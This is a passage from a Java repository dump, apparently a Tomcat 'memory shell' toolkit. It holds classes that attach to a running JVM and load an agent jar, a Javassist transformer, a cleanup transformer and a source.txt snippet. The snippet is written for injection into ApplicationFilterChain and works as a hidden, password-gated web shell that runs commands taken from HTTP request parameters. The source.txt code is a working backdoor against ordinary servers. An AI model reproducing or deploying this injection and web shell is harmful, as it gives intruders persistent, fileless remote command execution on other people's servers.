| vm.loadAgent(agentFile); 21 | vm.detach(); 22 | System.out.println("Recover_Agent injected"); 23 | } 24 | } 25 | 26 | private static String getpid() throws Exception{ 27 | Scanner scanner = new Scanner(Runtime.getRuntime().exec("jps").getInputStream()); 28 | while(scanner.hasNextLine()) 29 | { 30 | String a = scanner.nextLine(); 31 | if (a.contains("Bootstrap")) 32 | { 33 | System.out.println(a); 34 | return a.substring(0,a.length()-10); 35 | } 36 | } 37 | return "NOT Found"; 38 | } 39 | } 40 | 41 | -------------------------------------------------------------------------------- /src/main/java/forcleancleanTomcat/Mytransformer.java: -------------------------------------------------------------------------------- 1 | package forcleancleanTomcat; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | 8 | import java.io.FileOutputStream; 9 | import java.lang.instrument.ClassFileTransformer; 10 | import java.security.ProtectionDomain; 11 | 12 | public class Mytransformer implements ClassFileTransformer { 13 | @Override 14 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, 15 | ProtectionDomain protectionDomain, byte[] classfileBuffer) { 16 | if(!className.equals("org/apache/catalina/core/ApplicationFilterChain")) 17 | { 18 | return classfileBuffer; 19 | } 20 | try{ 21 | ClassPool classPool = ClassPool.getDefault(); 22 | ClassClassPath classClassPath = new ClassClassPath(className.getClass()); 23 | classPool.insertClassPath(classClassPath); 24 | CtClass classs = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); 25 | // CtMethod ctMethod = classs.getDeclaredMethod("internalDoFilter"); 26 | byte [] s = classs.toBytecode(); 27 | System.out.println("ApplicationFilterChain has been recovered"); 28 | // FileOutputStream fos = new FileOutputStream("orgApplicationFilterChain.class"); 29 | // fos.write(s); 30 | return s; 31 | 32 | }catch (Exception e){ 33 | System.out.println("faied at get classbytes"+e); 34 | } 35 | return classfileBuffer; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/test/PeoplesTransformer.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | 8 | import java.lang.instrument.ClassFileTransformer; 9 | import java.security.ProtectionDomain; 10 | 11 | public class PeoplesTransformer implements ClassFileTransformer { 12 | @Override 13 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, 14 | ProtectionDomain protectionDomain, byte[] classfileBuffer) { 15 | if(!className.startsWith( "test/Testpeople")) 16 | { 17 | return classfileBuffer; 18 | } 19 | try{ 20 | ClassPool cp = ClassPool.getDefault(); 21 | ClassClassPath classPath = new ClassClassPath(classBeingRedefined); //get current class's classpath 22 | 23 | // System.out.println("transform方法里面的classBeindRedefined的值是:"+classPath); 24 | 25 | cp.insertClassPath(classPath); //add the classpath to classpool 26 | CtClass cc = cp.get("test.Testpeople"); 27 | CtMethod m = cc.getDeclaredMethod("peoplesay"); 28 | System.out.println("changing class method to add some code ........"); 29 | m.addLocalVariable("elapsedTime", CtClass.longType); 30 | m.insertBefore("System.out.println(\"do some exercise\");"); 31 | byte[] byteCode = cc.toBytecode();//after toBytecode() the ctClass has been frozen 32 | cc.detach(); 33 | return byteCode; //change 34 | } 35 | catch (Exception e){ 36 | e.printStackTrace(); 37 | System.out.println("falied change"); 38 | return null; 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/test/TestAgent.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | 5 | public class TestAgent { 6 | public static void agentmain(String agentArgs, Instrumentation inst )throws Exception{ 7 | inst.addTransformer(new PeoplesTransformer(), true); 8 | inst.retransformClasses(Testpeople.class); 9 | System.out.println("retransform success"); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/test/TestAttach.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | import java.util.Scanner; 5 | 6 | public class TestAttach { 7 | public static void main(String[] args) throws Exception{ 8 | String pid = getpid(); 9 | System.out.println("find jar pid:"+pid); 10 | if (!pid.equals("not found")) { 11 | String currentPath = test.TestAttach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 12 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 13 | String agentFile = currentPath.substring(1, currentPath.length()) + "JavaAgentMemshell_Agent-1.0-SNAPSHOT-jar-with-dependencies.jar".replace("/", "\\"); 14 | VirtualMachine vm = VirtualMachine.attach(pid); 15 | vm.loadAgent(agentFile); 16 | vm.detach(); 17 | } 18 | 19 | } 20 | 21 | private static String getpid() throws Exception{ 22 | Scanner sc = new Scanner(Runtime.getRuntime().exec("jps").getInputStream()); 23 | // StringBuilder sb=new StringBuilder(); 24 | while (sc.hasNextLine()){ 25 | String a = sc.nextLine(); 26 | if(a.contains("jar")) 27 | { 28 | return a.substring(0,a.length()-4); 29 | } 30 | } 31 | return "not found"; 32 | } 33 | 34 | 35 | 36 | } 37 | 38 | -------------------------------------------------------------------------------- /src/main/java/test/Testpeople.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | public class Testpeople { 4 | public static void peoplesay(){ 5 | System.out.println("eat something"); 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/test/Testsay.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | public class Testsay { 4 | public static void main(String[] args) throws Exception{ 5 | Testpeople s = new Testpeople(); 6 | while(true){ 7 | s.peoplesay(); 8 | Thread.sleep(5000); 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/main/resources/source.txt: -------------------------------------------------------------------------------- 1 | javax.servlet.http.HttpServletRequest request=$1; 2 | javax.servlet.http.HttpServletResponse response = $2; 3 | String pwd=request.getParameter("passwod"); 4 | String cmd=request.getParameter("cmd"); 5 | String result=""; 6 | try { 7 | System.out.println("shell connectting"); 8 | 9 | if (pwd!=null&&pwd.equals("ga0weI")) 10 | { 11 | if (cmd==null||cmd.equals("")) 12 | { 13 | result=forTomcat.Shell.help(); 14 | } 15 | else 16 | { 17 | result=forTomcat.Shell.execute(cmd); 18 | } 19 | response.getWriter().print(result); 20 | return; 21 | } 22 | } 23 | catch(Exception e) 24 | { 25 | response.getWriter().print(e.getMessage()); 26 | } 27 | --------------------------------------------------------------------------------